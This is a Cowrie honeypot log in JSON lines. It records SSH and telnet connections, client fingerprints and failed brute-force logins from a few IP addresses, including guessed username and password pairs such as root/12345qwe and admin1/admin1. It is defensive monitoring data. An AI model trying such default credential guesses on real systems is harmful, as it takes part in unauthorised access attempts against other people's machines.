{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:88:65:09:a0:3b:c6:9a:94:9c:f7:11:61:d1:49:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDtkM9Gv4QIowTD0mXgLlf702dufyTzvNYGl/2ZTvhhyWBScMsieEAL9VNIVi8xQ4lsYgJFNfyJKBIKMd/NGBwsxWu1uOsRcsEw/CrNLjixcoGULl1z5U14ups3cf7Z4xQ5HNs31oNltIUi4E3g3+MzBUavIHRVcdZrn/FDsTxrTLcNRc/vukSw6ZqcLbK4t4R3/mzUOufyjtDhjllgaySpmCdpFHt4l+SfsyAOuygNi80St4b0ZHGpJZ2IEAkkKjEV10OdixvZVz6W/BMQMV58d29FownwBXAf/jFFJV3oHhMYJ9sWb2pxtVNC54AtdrHp5Y5+2LnKFIzrwGB9uX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.644239Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.651308Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58026,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd915d58f073","protocol":"telnet","message":"New connection: 152.42.224.71:58026 (10.17.0.5:23) [session: cd915d58f073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:37.961633Z"}
{"eventid":"cowrie.session.closed","duration":49.13034510612488,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:38.401387Z","src_ip":"152.42.224.71","session":"945d37fb36f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34666,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7444a8f02e4","protocol":"ssh","message":"New connection: 31.40.204.166:34666 (159.203.135.109:22) [session: c7444a8f02e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:38.518506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:38.523177Z","src_ip":"31.40.204.166","session":"c7444a8f02e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:38.697602Z","src_ip":"31.40.204.166","session":"c7444a8f02e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:39.209866Z","src_ip":"31.40.204.166","session":"c7444a8f02e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.53384852409363,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:40.220855Z","src_ip":"152.42.224.71","session":"45d8d8b1013f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:40.406283Z","src_ip":"31.40.204.166","session":"c7444a8f02e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172352790833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:40.926415Z","src_ip":"152.42.224.71","session":"62a89e858ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7878136f055","protocol":"telnet","message":"New connection: 152.42.224.71:58032 (10.17.0.5:23) [session: e7878136f055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:43.257340Z"}
{"eventid":"cowrie.session.closed","duration":54.1698796749115,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:44.555593Z","src_ip":"152.42.224.71","session":"5007f693e44f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":109.96822834014893,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:45.703299Z","src_ip":"152.42.224.71","session":"8659ba44dc16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.15246939659119,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:46.992467Z","src_ip":"152.42.224.71","session":"edea81086a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.612385988235474,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:47.339556Z","src_ip":"152.42.224.71","session":"138ef2075cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"08b4cf3f025c","protocol":"telnet","message":"New connection: 152.42.224.71:60108 (10.17.0.5:23) [session: 08b4cf3f025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:49.475684Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60124,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f7ac01c73bf","protocol":"telnet","message":"New connection: 152.42.224.71:60124 (10.17.0.5:23) [session: 2f7ac01c73bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:50.105653Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47616,"dst_ip":"159.203.135.109","dst_port":22,"session":"118fc8bd8e21","protocol":"ssh","message":"New connection: 31.40.204.166:47616 (159.203.135.109:22) [session: 118fc8bd8e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:50.207432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:50.217953Z","src_ip":"31.40.204.166","session":"118fc8bd8e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:50.388463Z","src_ip":"31.40.204.166","session":"118fc8bd8e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:50.919849Z","src_ip":"31.40.204.166","session":"118fc8bd8e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:52.117932Z","src_ip":"31.40.204.166","session":"118fc8bd8e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.55745267868042,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:55.175115Z","src_ip":"152.42.224.71","session":"d1bcadaa0208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.528956174850464,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:56.786164Z","src_ip":"152.42.224.71","session":"e7878136f055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.50451898574829,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:00.664534Z","src_ip":"152.42.224.71","session":"b588c68b437e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58858,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bd5b5202f6f","protocol":"ssh","message":"New connection: 31.40.204.166:58858 (159.203.135.109:22) [session: 5bd5b5202f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:02.111098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:02.115492Z","src_ip":"31.40.204.166","session":"5bd5b5202f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:02.294150Z","src_ip":"31.40.204.166","session":"5bd5b5202f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.59268283843994,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:02.339438Z","src_ip":"152.42.224.71","session":"d2fc3cc9ee03","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:02.787777Z","src_ip":"31.40.204.166","session":"5bd5b5202f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.42179346084595,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:03.168070Z","src_ip":"152.42.224.71","session":"0a50a6dad89e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.31","src_port":58966,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c67189f77a","protocol":"ssh","message":"New connection: 188.44.20.31:58966 (10.17.0.5:22) [session: d6c67189f77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:03.709850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:03.715533Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:03.858547Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:03.921882Z","src_ip":"31.40.204.166","session":"5bd5b5202f6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:77:9b:b9:92:08:b0:46:94:4f:c2:73:48:e9:ae:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4UEjdVN0bIWQnYMBLilGtUv1TxgjBH9PtZSYphZ3yPBtAInPXd6sZlODwwQ+hg9GKSlmaQEG9/El4j6ezu++3lfZCb6pWrQUnATIM5+AisYflUXt3dqLDhalaupJpVvk6aWtZ4w6+phiG+RuZJE2R86DoV2XWbjgGf26kZbWUmLSFBtEtagdfYi3JT+zqFYwsUBg7VC3tlD/8wWoAwTX2SCs97+VP075Vri3Ggx7C7Mt57e71OurtYmJXmblpWAL6vrZRGtdG8WHePMCL4yqxnW3kSwyoK05F9KD/xr9AwewogaR1ZxjesrKYH7+nDtkV4KuWp8QLln9FAP5mj/82yRSXRm6lzRALx7dvycC2jRxxzTHbgrPSU+w0jywGt5uyexC7uE3QkxhWG9FT4GWsUuP4pkh1KFwetEm3uHBGZNyIIJfbV4NMzoW1oMnznKOif36vpSv+CMu6YhRWrNt+w2hNq3bNnRVcciKRkUxs1YpGp90XvYL4IT5IK7nSJ2KUhnHmp9z8ZvO4MPPZmuNC6g/hJ3sRJ4RKptTCi+N7ulcgmypPfdyNi4O7zAhyl3hN3eYzkQ8o3MiUm9Pdyzraavk80qaaqEfggPr1XAI6mB7nF4g4+9YTLpXjgWK822OwsZY3uYE2fHmgYYbx9nhxvXFJpMScsfAxEBNcVsdfYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:77:9b:b9:92:08:b0:46:94:4f:c2:73:48:e9:ae:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.537353Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:77:9b:b9:92:08:b0:46:94:4f:c2:73:48:e9:ae:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4UEjdVN0bIWQnYMBLilGtUv1TxgjBH9PtZSYphZ3yPBtAInPXd6sZlODwwQ+hg9GKSlmaQEG9/El4j6ezu++3lfZCb6pWrQUnATIM5+AisYflUXt3dqLDhalaupJpVvk6aWtZ4w6+phiG+RuZJE2R86DoV2XWbjgGf26kZbWUmLSFBtEtagdfYi3JT+zqFYwsUBg7VC3tlD/8wWoAwTX2SCs97+VP075Vri3Ggx7C7Mt57e71OurtYmJXmblpWAL6vrZRGtdG8WHePMCL4yqxnW3kSwyoK05F9KD/xr9AwewogaR1ZxjesrKYH7+nDtkV4KuWp8QLln9FAP5mj/82yRSXRm6lzRALx7dvycC2jRxxzTHbgrPSU+w0jywGt5uyexC7uE3QkxhWG9FT4GWsUuP4pkh1KFwetEm3uHBGZNyIIJfbV4NMzoW1oMnznKOif36vpSv+CMu6YhRWrNt+w2hNq3bNnRVcciKRkUxs1YpGp90XvYL4IT5IK7nSJ2KUhnHmp9z8ZvO4MPPZmuNC6g/hJ3sRJ4RKptTCi+N7ulcgmypPfdyNi4O7zAhyl3hN3eYzkQ8o3MiUm9Pdyzraavk80qaaqEfggPr1XAI6mB7nF4g4+9YTLpXjgWK822OwsZY3uYE2fHmgYYbx9nhxvXFJpMScsfAxEBNcVsdfYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.542621Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:cd:96:61:4c:0b:ea:dd:00:28:aa:ea:04:9b:6d:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoRMXodRpSBPT9HkE4e72SDYfjNra5O6cI8h46TomBpacUbTnKmnt8T53Vy37moIkcISJ7Am5dhFM+H4IzqdREhjCJNyt5zE9qW6AYAAmFlIAPdSgq4yOvvlcQCk5YPGfwcz/+YZKj+WGlXuMulLYyu2mCKVsmVs0/brE5122SxWYkh1qHoPaF3VAdk39IgnLeBRodHgr3H0npW8MJ15n/JD8CoYqyVhoO+CiYvgj+35G0kz4Vd/tUBu4kD7up1INP9iYKuO6laPMFWLTxtvdHX8O//1ZmNm4VrOfl9GA5pEmRto07KTqw516lZ958qfdcZxrGx+9V9gcNhyAMopDZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:cd:96:61:4c:0b:ea:dd:00:28:aa:ea:04:9b:6d:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.684033Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:cd:96:61:4c:0b:ea:dd:00:28:aa:ea:04:9b:6d:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoRMXodRpSBPT9HkE4e72SDYfjNra5O6cI8h46TomBpacUbTnKmnt8T53Vy37moIkcISJ7Am5dhFM+H4IzqdREhjCJNyt5zE9qW6AYAAmFlIAPdSgq4yOvvlcQCk5YPGfwcz/+YZKj+WGlXuMulLYyu2mCKVsmVs0/brE5122SxWYkh1qHoPaF3VAdk39IgnLeBRodHgr3H0npW8MJ15n/JD8CoYqyVhoO+CiYvgj+35G0kz4Vd/tUBu4kD7up1INP9iYKuO6laPMFWLTxtvdHX8O//1ZmNm4VrOfl9GA5pEmRto07KTqw516lZ958qfdcZxrGx+9V9gcNhyAMopDZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.688572Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:c7:9c:bc:ae:18:1a:d1:2c:13:5f:fb:bc:58:0b:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnCs+RIRD0a59LmOjTeSjQIWwj9HFRBETgMdEzJaNlZYcI32b1/MOKBUwklo1A8oLAgvX1HBbeXbFmI5fKjCI+Owe0zpGeA1S1p0dIHDpLruBN6GdjoqJqLqOuAts+RwX7ketLymdOcfJ649wrNcmqdwJtwxqvuZ4NMha+636J/7fs3MI1Gao8eBG9ENpybHASNXwWPKG0jPLlV77ok5XMb506pHxJS5QZt2Cj4C3oG9BvAOLBGrq0F3CpgY0arzjRihWxUl5Ls/s71UBGrdPBOomNtzQyFGpxlYy0I56i0KLyY2KT2+nh50BY73LKSyEf1AARRkZjx0SOAzU/DdsZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:c7:9c:bc:ae:18:1a:d1:2c:13:5f:fb:bc:58:0b:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.832209Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:c7:9c:bc:ae:18:1a:d1:2c:13:5f:fb:bc:58:0b:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnCs+RIRD0a59LmOjTeSjQIWwj9HFRBETgMdEzJaNlZYcI32b1/MOKBUwklo1A8oLAgvX1HBbeXbFmI5fKjCI+Owe0zpGeA1S1p0dIHDpLruBN6GdjoqJqLqOuAts+RwX7ketLymdOcfJ649wrNcmqdwJtwxqvuZ4NMha+636J/7fs3MI1Gao8eBG9ENpybHASNXwWPKG0jPLlV77ok5XMb506pHxJS5QZt2Cj4C3oG9BvAOLBGrq0F3CpgY0arzjRihWxUl5Ls/s71UBGrdPBOomNtzQyFGpxlYy0I56i0KLyY2KT2+nh50BY73LKSyEf1AARRkZjx0SOAzU/DdsZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.836615Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
